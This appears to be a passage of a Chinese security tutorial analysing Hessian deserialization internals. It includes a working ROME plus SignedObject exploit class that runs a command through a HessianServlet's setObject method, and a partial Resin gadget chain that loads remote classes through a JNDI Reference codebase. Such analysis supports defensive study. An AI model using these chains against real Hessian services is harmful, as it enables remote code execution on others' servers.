25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* 从 Hessian 输入流读取键值对并填充到一个新创建的对象实例中。
*
* 流程:
* 1) 通过 {@link #instantiate()} 使用 Unsafe 分配未初始化的对象(不调用构造函数);
* 2) 调用重载的 readMap(in, obj) 将输入映射到该对象;
* 3) 异常处理:IO 和运行时异常原样抛出,其它异常包装为 IOExceptionWrapper。
*
* @param in Hessian 输入
* @return 反序列化后的对象
* @throws IOException 读写错误或被包装的异常
*/
public Object readMap(AbstractHessianInput in) throws IOException {
try {
// 1) 未经构造函数的实例分配(适用于无可见无参构造器的类型)
Object obj = instantiate();

// 2) 将输入的 Map 内容读入该对象
return readMap(in, obj);
} catch (IOException e) {
// IO 异常直接透传
throw e;
} catch (RuntimeException e) {
// 运行时异常直接透传(保持调用方堆栈语义)
throw e;
} catch (Exception e) {
// 其它受检异常统一包装为 IOException,附带类型信息
throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
}
}

/**
* 使用 Unsafe 分配对象实例(不调用构造函数 / 无需可见的无参构造)。
*
* 注意:在 JDK 9+ 的模块系统下,可能需要开放访问权限。
*
* @return 未初始化(未执行构造逻辑)的对象实例
* @throws Exception 分配失败时抛出
*/
protected Object instantiate() throws Exception {
return _unsafe.allocateInstance(_type);
}

接着从输入流里读取字段名,_fieldMap 中获取对应的字段反序列化器,再对 obj 进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/**
* 将 Hessian 输入流中的键值对读入已创建的对象实例中。
*
* 处理流程:
* 1) 将目标对象加入引用表(以便处理循环引用/多处引用),记录其引用索引;
* 2) 循环读取 map 条目:读取键,根据字段表查找对应的反序列化器;
* - 命中:使用该字段反序列化器将值写入对象;
* - 未命中:消费该值(跳过未知字段),确保流位置对齐;
* 3) 读取并校验 map 结束标记;
* 4) 调用 resolve(in, obj) 执行“读后解析”,如调用 readResolve 等,可能返回替换对象;
* 若返回的对象与原对象不同,则更新引用表中的条目;
* 5) 返回最终对象。
*
* @param in Hessian 输入流
* @param obj 已实例化但未填充字段的对象
* @return 填充完成并经过 resolve 处理的对象
* @throws IOException 读写错误或封装后的异常
*/
public Object readMap(AbstractHessianInput in, Object obj) throws IOException {
try {
// 1) 在引用表中登记该对象,得到其引用索引(用于循环引用修复)
int ref = in.addRef(obj);

// 2) 逐条读取键值对,直到遇到结束标记
while (!in.isEnd()) {
Object key = in.readObject();

// 按字段名查找对应的字段反序列化器(通常 key 为 String)
FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);

if (deser != null) {
// 已知字段:将该字段的值读入对象
deser.deserialize(in, obj);
} else {
// 未知字段:消费其值以保持流对齐(丢弃该条目)
in.readObject();
}
}

// 3) 读取 map 结束标记
in.readMapEnd();

// 4) 读后解析:可能调用 readResolve 等返回替换实例
Object resolve = resolve(in, obj);

// 若发生对象替换,需同步更新引用表中的对象指针
if (obj != resolve) {
in.setRef(ref, resolve);
}

// 5) 返回最终对象
return resolve;
} catch (IOException e) {
// IO 异常直接透传
throw e;
} catch (Exception e) {
// 其他异常统一包装为 IOExceptionWrapper 以提供更多上下文
throw new IOExceptionWrapper(e);
}
}

FieldDeserializer2FactoryUnsafe 内置了一堆基本类型的反序列化器,大都是直接从输入流读取的数据就是字段值。

例如对于普通对象,这里获取的反序列化器为 com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer,可以看到最核心的操作是 _unsafe.putObject(obj, _offset, value); 修改对象在内存中字段偏移量处的值

因此就没有触发我们自定义的readObject了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 反序列化单个字段并写入目标对象。
*
* 流程:
* 1) 按字段的声明类型(_field.getType())从输入流读取值;
* 2) 使用 Unsafe 按偏移量 _offset 将该值直接写入对象内存(绕过 setter/可见性检查);
* 3) 若发生异常,记录包含字段、对象与当前值的详细错误信息,便于排查。
*
* @param in Hessian 输入流
* @param obj 目标对象实例
* @throws IOException 读取过程中的 IO 异常
*/
@Override
public void deserialize(AbstractHessianInput in, Object obj) throws IOException {
Object value = null;

try {
// 按字段声明的类型读取该字段的值
value = in.readObject(_field.getType());

// 通过 Unsafe 直接写入对象内存(基于字段偏移量)
_unsafe.putObject(obj, _offset, value);
} catch (Exception e) {
// 捕获并记录异常,包含字段、对象与已读取的值
logDeserializeError(_field, obj, value, e);
}
}

客户端

1
2
3
4
5
6
7
8
import com.caucho.hessian.client.HessianProxyFactory;

HessianProxyFactory factory = new HessianProxyFactory();
// 如需 Hessian 2 协议:factory.setHessian2Request(true); factory.setHessian2Reply(true);
HelloService hello = (HelloService) factory.create(
HelloService.class, "http://localhost:8080/yourapp/hessian/hello");

System.out.println(hello.hi("world"));

客户端 com.caucho.hessian.client.HessianProxyFactory#create 会调用到多个重载函数。

1
2
3
at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:455)
at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:430)
at com.caucho.hessian.client.HessianProxyFactory.create(HessianProxyFactory.java:408)

最终 HessianProxyFactory#create 返回一个代理对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 使用给定 URL 创建一个实现指定接口的代理对象。
* 返回对象会实现 api 指定的业务接口。
*
* <pre>
* String url = "http://localhost:8080/ejb/hello";
* HelloHome hello = (HelloHome) factory.create(HelloHome.class, new URL(url),
* Thread.currentThread().getContextClassLoader());
* </pre>
*
* @param api 代理类需要实现的接口类型(业务接口)
* @param url 远端服务(客户端对象)所在的 URL
* @param loader 用于定义/加载代理类的类加载器(常用:TCCL 或 api.getClassLoader())
* @return 一个实现了 api 接口的动态代理实例
* @throws NullPointerException 当 api 为空时抛出
*/
public Object create(Class<?> api, URL url, ClassLoader loader) {
if (api == null) {
// 避免创建无效代理:api 是必须的
throw new NullPointerException("api must not be null for HessianProxyFactory.create()");
}

// JDK 动态代理的调用分派器:把方法调用封装为 Hessian 请求并发送到远端
InvocationHandler handler = new HessianProxy(url, this, api);

// 生成动态代理类:
// - loader:用于加载生成的代理类的类加载器(必须非 null)
// - interfaces:代理需要实现的接口;这里包含业务接口 api 和 HessianRemoteObject(标记/扩展用途)
// - handler:所有方法调用都会转发到该处理器
return Proxy.newProxyInstance(
loader,
new Class[] { api, HessianRemoteObject.class },
handler
);
}

所以无论调用啥方法都会走到 com.caucho.hessian.client.HessianProxy#invoke 方法。

首先获取了方法名和方法参数类型,将方法和方法名放入 _mangleMap,下次调用会首先从 _mangleMap 获取方法名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// 从方法名缓存中读取已计算过的“方法名编码”(mangleName)
// 这里对 _mangleMap 做同步,避免多线程下并发访问问题
synchronized (_mangleMap) {
mangleName = _mangleMap.get(method);
}

if (mangleName == null) {
// 还没有缓存:开始根据反射信息计算
String methodName = method.getName();
Class<?>[] params = method.getParameterTypes();

// equals 和 hashCode 是特殊处理(与 Java 语义保持一致)
if (methodName.equals("equals")
&& params.length == 1 && params[0].equals(Object.class)) {
// equals(Object obj) 的远端语义:
// 只有当对方也是 JDK 动态代理,且其 InvocationHandler 为 HessianProxy,
// 且两者 URL 相同,才认为相等
Object value = args[0];
if (value == null || !Proxy.isProxyClass(value.getClass()))
return Boolean.FALSE;

Object proxyHandler = Proxy.getInvocationHandler(value);

if (!(proxyHandler instanceof HessianProxy))
return Boolean.FALSE;

HessianProxy handler = (HessianProxy) proxyHandler;

// 注意:这里按 URL 相等来定义远端“身份一致性”
// 旧写法使用 new Boolean(...),保持原样
return new Boolean(_url.equals(handler.getURL()));
}
else if (methodName.equals("hashCode") && params.length == 0)
// hashCode 与 equals 保持一致性:用 URL 的 hashCode
return new Integer(_url.hashCode());
else if (methodName.equals("getHessianType"))
// Hessian 扩展:返回业务接口名(通常是代理实现的第一个接口)
return proxy.getClass().getInterfaces()[0].getName();
else if (methodName.equals("getHessianURL"))
// Hessian 扩展:返回远端 URL 字符串
return _url.toString();
else if (methodName.equals("toString") && params.length == 0)
// 便于调试的字符串表示
return "HessianProxy[" + _url + "]";

// 进入方法名“编码”决策:
// - 如果未启用重载(overload),只用方法名
// - 如果启用重载,需要把参数签名也编码进去,避免重名方法歧义
if (!_factory.isOverloadEnabled())
mangleName = method.getName();
else
mangleName = mangleName(method); // 生成带签名的编码名

// 结果写回缓存,避免下次重复计算
synchronized (_mangleMap) {
_mangleMap.put(method, mangleName);
}
}

之后发送请求获取连接对象,读取协议标志 code,根据协议标志选择使用 Hessian/Hessian2 读取,最终断开连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// 发起请求并拿到连接与输入流
conn = sendRequest(mangleName, args);
is = getInputStream(conn);

// FINEST 级别下,用调试输入流把 Hessian 原始字节打印到日志
if (log.isLoggable(Level.FINEST)) {
PrintWriter dbg = new PrintWriter(new LogWriter(log));
HessianDebugInputStream dIs = new HessianDebugInputStream(is, dbg);
dIs.startTop2(); // 标记为 Hessian 2 顶层结构,便于解析打印
is = dIs; // 用调试包装流替换原始输入流
}

AbstractHessianInput in;

// 读取协议首字节,决定使用 Hessian2 还是 Hessian 1.x 解析
int code = is.read();

if (code == 'H') {
// Hessian 2.0 响应头:'H' + major + minor
int major = is.read();
int minor = is.read();

// 创建 Hessian2 解码器
in = _factory.getHessian2Input(is);

// 按方法返回类型反序列化回复内容
Object value = in.readReply(method.getReturnType());

// 若为流式返回,把连接与输入流交给 ResultInputStream 托管,调用方读完再关闭
if (value instanceof InputStream) {
value = new ResultInputStream(conn, is, in, (InputStream) value);
is = null; // 防止后续 finally 提前关闭
conn = null; // 防止后续 finally 提前关闭
}

return value;
} else if (code == 'r') {
// Hessian 1.x (Hessian 1.0/1.1)回复头:'r' + major + minor
int major = is.read();
int minor = is.read();

// 创建 Hessian 1.x 解码器
in = _factory.getHessianInput(is);

// 进入回复体读取阶段(Hessian 1.x 需要先显式开始/结束)
in.startReplyBody();

// 反序列化为目标返回类型
Object value = in.readObject(method.getReturnType());

if (value instanceof InputStream) {
// 流式返回:把资源移交给结果流,由调用方控制关闭
value = new ResultInputStream(conn, is, in, (InputStream) value);
is = null;
conn = null;
} else {
// 非流式返回:完整消费并关闭 reply body,保持流边界一致
in.completeReply();
}

return value;
} else {
// 未知首字节:协议不匹配或响应非法
throw new HessianProtocolException("'" + (char) code + "' is an unknown code");
}

sendRequest 里除了建立网络连接外,还通过 HessianOutput#call 来序列化方法调用参数(HessianOutput#writeObject

1
2
3
4
5
6
7
8
at com.caucho.hessian.io.SerializerFactory.getDefaultSerializer(SerializerFactory.java:382)
at com.caucho.hessian.io.SerializerFactory.loadSerializer(SerializerFactory.java:368)
at com.caucho.hessian.io.SerializerFactory.getSerializer(SerializerFactory.java:267)
at com.caucho.hessian.io.HessianOutput.writeObject(HessianOutput.java:322)
at com.caucho.hessian.io.HessianOutput.call(HessianOutput.java:132)
at com.caucho.hessian.client.HessianProxy.sendRequest(HessianProxy.java:300)
at com.caucho.hessian.client.HessianProxy.invoke(HessianProxy.java:171)
at com.sun.proxy.$Proxy0.hi(Unknown Source:-1)

序列化首先需要根据参数类型获取对应的序列化器。和获取反序列化器一样,这里匹配不到预置类型,只能获取默认的序列化器 UnsafeSerializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 将任意对象写入到输出流。
*
* @param object 要序列化写出的对象
* @throws IOException 写出过程中的 IO 异常
*/
public void writeObject(Object object) throws IOException {
// Hessian 协议的空值写出(通常是一个空标记,如 'N'),并立即返回
if (object == null) {
writeNull();
return;
}

// 根据运行时类型从序列化工厂获取合适的 Serializer
Serializer serializer;

serializer = _serializerFactory.getSerializer(object.getClass());

// 使用获取到的 Serializer 执行实际写出;
// 第二个参数传入当前输出对象(作为序列化上下文/目标)
serializer.writeObject(object, this);
}

只要开启 _isAllowNonSerializable,没有实现 Serializable 接口的类也能序列化。这也是和原生反序列化的重大区别之一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 返回未被直接匹配到的类的“默认序列化器”。
* 应用可以覆写本方法,以便用 bean 风格序列化替代字段序列化等策略。
*
* @param cl 需要被序列化对象的 Class
* @return 该类的默认序列化器
*/
protected Serializer getDefaultSerializer(Class cl) {
// 若外部已配置了默认序列化器,则优先返回该实例
if (_defaultSerializer != null)
return _defaultSerializer;

// 若类未实现 java.io.Serializable 且未显式允许非 Serializable,则直接拒绝
if (!Serializable.class.isAssignableFrom(cl)
&& !_isAllowNonSerializable) {
throw new IllegalStateException(
"Serialized class " + cl.getName() + " must implement java.io.Serializable");
}

// 启用 Unsafe 序列化,且类未定义 writeReplace 时,走 Unsafe 分支
// (writeReplace 存在时通常交由 Java 风格序列化处理以保持语义)
if (_isEnableUnsafeSerializer
&& JavaSerializer.getWriteReplace(cl) == null) {
return UnsafeSerializer.create(cl);
} else {
// 其余情况使用 Java 风格的序列化器
return JavaSerializer.create(cl);
}
}

UnsafeSerializer 的构造函数中使用 introspect() 自省序列化的类。看到这里序列化也跳过了 statictransient 修饰的字段,并且同样为每个字段分配其序列化器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* 通过反射收集类及其父类的字段,并为每个字段准备对应的 FieldSerializer。
* 规则:
* - 跳过 transient / static 字段
* - 先收集“原始/简单类型”(primitive 或 java.lang.* 但不含 Object),再收集复合类型
* 这样可在序列化时优先写出简单类型
*/
protected void introspect(Class<?> cl) {
ArrayList<Field> primitiveFields = new ArrayList<Field>();
ArrayList<Field> compoundFields = new ArrayList<Field>();

// 向上遍历继承链,包含父类字段
for (; cl != null; cl = cl.getSuperclass()) {
Field[] fields = cl.getDeclaredFields();

for (int i = 0; i < fields.length; i++) {
Field field = fields[i];

// 跳过 transient / static 字段(不参与序列化)
if (Modifier.isTransient(field.getModifiers())
|| Modifier.isStatic(field.getModifiers())) {
continue;
}

/*
* // XXX: 如需仅处理 public 字段或允许访问非 public 字段,可参数化控制
* field.setAccessible(true);
*/

// 分类:
// 1) 原始类型,或位于 java.lang.*(如 String/Integer/Long 等),但排除 Object 本身
if (field.getType().isPrimitive()
|| (field.getType().getName().startsWith("java.lang.")
&& !field.getType().equals(Object.class))) {
primitiveFields.add(field);
} else {
// 2) 其余均视为复合类型(自定义类、集合、数组等)
compoundFields.add(field);
}
}
}

// 合并顺序:先简单类型后复合类型
ArrayList<Field> fields = new ArrayList<Field>();
fields.addAll(primitiveFields);
fields.addAll(compoundFields);

// 缓存字段数组
_fields = new Field[fields.size()];
fields.toArray(_fields);

// 为每个字段准备对应的 FieldSerializer
_fieldSerializers = new FieldSerializer[_fields.length];
for (int i = 0; i < _fields.length; i++) {
_fieldSerializers[i] = getFieldSerializer(_fields[i]);
}
}

基于 Map 反序列化

由上分析,我们可得 Hessian 反序列化有如下特点:

  • 只要开启 _isAllowNonSerializable,未实现 Serializable 接口的类也能序列化。

  • 和原生反序列化一样,statictransient 修饰的类不会被序列化和反序列化。

  • source 点不在 readObject,而是利用 Map 类反序列化时会执行 put 操作,触发:

    • HashMap->key.hashCode()HashMap->key.equals(k)
    • TreeMap->key.compareTo()

若目标 RPC 服务暴露出去的接口方法不接收 Map 类型参数,我们可以找远程对象从 HessianServlet 及其父类继承得到的方法。

因为通常来说服务端类会继承 HessianServlet。在 HessianServlet#init 函数中,如果没有显式配置 home-api(或 api-class,Hessian 会把 _homeAPI 回退_homeImpl.getClass()

1
2
3
4
5
6
7
8
else if (_homeImpl != null) {
_homeAPI = findRemoteAPI(_homeImpl.getClass());
if (_homeAPI == null)
_homeAPI = _homeImpl.getClass();

// 注意:最终又强制赋值成实现类
_homeAPI = _homeImpl.getClass();
}

也就是说:对外暴露的 API 类型 = 你的实现类本身(而不是你原本设计的小接口)。

随后 AbstractSkeleton(apiClass) 会对这个 apiClass.getMethods() 里的所有 public 方法建索引(包括从父类继承来的)。

HessianServlet 本身就有这些 public 方法:

1
2
3
4
5
public void setHome(Object home)
public void setObject(Object object)
public void setHomeAPI(Class<?> api)
public void setObjectAPI(Class<?> api)
...

于是,这些方法也会被加入可远程调用的方法表(_methodMap)。

客户端只要在自己的“接口”里把这些方法声明上,Hessian 客户端就会按它们的名字与参数个数编码出请求,服务端 Skeleton 正好能匹配上并反射调用它们。

Hessian 可以配合以下来利用:

  • RomehashCode
  • XBeanequals
  • Resinequals
  • GoovycompareTo
  • SpringPartiallyComparableAdvisorHolderequals
  • SpringAbstractBeanFactoryPointcutAdvisorequals

ROME + SignedObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at java.util.HashSet.readObject(HashSet.java:334)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1896)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.security.SignedObject.getObject(SignedObject.java:180)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at java.util.HashSet.add(HashSet.java:219)
at com.caucho.hessian.io.CollectionDeserializer.readList(CollectionDeserializer.java:78)
at com.caucho.hessian.io.SerializerFactory.readList(SerializerFactory.java:557)
at com.caucho.hessian.io.HessianInput.readObject(HessianInput.java:1154)
at com.caucho.hessian.io.HessianInput.readObject(HessianInput.java:1012)
at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:296)
at com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:198)
at com.caucho.hessian.server.HessianServlet.invoke(HessianServlet.java:428)
at com.caucho.hessian.server.HessianServlet.service(HessianServlet.java:408)

原理分析

Rome 利用链中的 TemplatesImpl 由于其 _tfactorytransient 修饰,在 Hessian 中无法进行序列化。

提示

TemplatesImpl 重写了 readObject 方法,在 readObject 中给 _tfactory 赋值了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private transient TransformerFactoryImpl _tfactory = null;

private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}

is.defaultReadObject();
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl(); // 👈
}

而 Hessian 中序列化和反序列化中都不会处理 transient 修饰的字段。而 TemplatesImpl那条链的 defineTransletClasses 要求 _tfactory 不为空,否则抛出异常。

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

因此这里需要配合 java.security.SignedObject#getObject 进行二次反序列化。而 SignedObject#getObject 可以通过 ROME 链进行 getter 触发。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.caucho.hessian.client.HessianProxyFactory;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.lang.reflect.Field;
import java.security.*;
import java.util.HashSet;


public class HessianROME {
public static Object getObject(String cmd) throws Exception {
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject("foo", privateKey, signingEngine);


ToStringBean innerBean = new ToStringBean(SignedObject.class, signedObject);
EqualsBean outerBean = new EqualsBean(ToStringBean.class, innerBean);

HashSet triggerSet = new HashSet();
triggerSet.add(outerBean);

setFieldValue(signedObject, "content", ROME.getPayload(cmd));

return triggerSet;
}

public static void main(String[] args) throws Exception {
HessianProxyFactory factory = new HessianProxyFactory();
HelloService hello = (HelloService) factory.create(
HelloService.class, "http://localhost:8080/hessian/hello");
hello.setObject(getObject("calc"));
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

Resin

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
</dependency>

原理分析

com.sun.org.apache.xpath.internal.objects.XString#equals 会对传入的 obj2 调用 toString 方法。

1
2
3
4
5
6
7
8
9
10
11
12
public boolean equals(Object obj2)
{
if (obj2 == null)
return false;

else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if (obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString()); // 👈
}

com.caucho.naming.QName 是 Resin 对上下文 _context 的一种封装,它的 toString 方法会调用其封装类的 composeName 方法获取复合上下文的名称。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
protected Context _context;

public QName(Context context, String first, String rest) {
_context = context;

if (first != null)
_items.add(first);
if (rest != null)
_items.add(rest);
}

public int size() {return _items.size();}

public String get(int pos) {
if (pos < _items.size())
return (String) _items.get(pos);
else
return null;
}

public String toString() {
String name = null;

for (int i = 0; i < size(); i++) {
String str = (String) get(i);

if (name != null) {
try {
name = _context.composeName(str, name); // 👈
} catch (NamingException e) {
name = name + "/" + str;
}
} else
name = str;
}

return name == null ? "" : name;
}

注意

这里要求 _items 中至少有两项,这样在 toString 的循环中:

  • 第一次循环时 namenull,因此会走 else 分支将当前字符串赋值给 name
  • 第二次循环时 触发 _context.composeName(str, name) 调用。

我们将 _context 设置为 javax.naming.spi.ContinuationContextcomposeName 方法会有如下调用链:

1
2
3
4
5
6
7
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180)
at com.caucho.naming.QName.toString(QName.java:353)

首先在 ContinuationContext#getTargetContextcpe.getResolvedObj() 获取 Reference 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected CannotProceedException cpe;

protected Context getTargetContext() throws NamingException {
if (contCtx == null) {
if (cpe.getResolvedObj() == null)
throw (NamingException)cpe.fillInStackTrace();

contCtx = NamingManager.getContext(cpe.getResolvedObj(), // 👈
cpe.getAltName(),
cpe.getAltNameCtx(),
env);
if (contCtx == null)
throw (NamingException)cpe.fillInStackTrace();
}
return contCtx;
}

cpe.getResolvedObj() 实际上调用的是 javax.naming.NamingException#getResolvedObj,也就是将 resolvedObj 属性返回,

1
2
3
4
5
protected Object resolvedObj;

public Object getResolvedObj() {
return resolvedObj;
}

我们同样可以调用 NamingException#setResolvedObj 设置一个 Reference 对象。

1
2
3
public void setResolvedObj(Object obj) {
resolvedObj = obj;
}

之后在 NamingManager#getObjectInstance 从获取到的 Reference 对象中提取工厂类名(classFactory)作为参数和 Reference 对象本身一起传入 getObjectFactoryFromReference 参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;

// ① 若系统安装了全局的 ObjectFactoryBuilder,则优先由它创建工厂
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// 规范要求:builder 不能返回 null
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx, environment);
}

// ② 若入参可视作 Reference,则尽量转成 javax.naming.Reference
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
// ③ Reference 若声明了 factory class(工厂类名),则“只用它”
String f = ref.getFactoryClassName();
if (f != null) {
// 通过类名(可能结合 codebase/URL 地址)去加载并创建该 ObjectFactory
factory = getObjectFactoryFromReference(ref, f);

// [...]
}
// [...]
}

// [...]
}

getObjectFactoryFromReference 则直接根据 Reference 对象中的工厂类名和 codebase 远程加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里的 helper 实际上是 VersionHelper12,而 VersionHelper12 对象的 loadClass 方法会通过 URLClassLoader 远程加载加载类。

VersionHelperVersionHelper12 属于 JNDI 内部工具类(包名通常是 com.sun.naming.internal),用于屏蔽不同 JDK 版本的差异,尤其是类加载相关(TCCL、URLClassLoader、codebase 解析等)。

最后,为了能触发 equal 方法,我们需要让 QNamexStringhashCode 返回值相同。

  • XStringhashCode 实现如下:

    1
    2
    3
    4
    5
    6
    7
    public int hashCode() {
    return str().hashCode();
    }

    public String str() {
    return (null != m_obj) ? ((String) m_obj) : "";
    }

    XString 的构造函数将传入的参数 val 字符串交给父类的构造函数:

    1
    public XString(String val) {super(val);}

    父类 XObject 将其设置到 m_obj 中。

    1
    2
    3
    public XObject(Object obj) {setObject(obj);}

    protected void setObject(Object obj) {m_obj = obj;}

    因此 XStringhashCode 其实就是字符串哈希。而 StringhashCode 实现如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
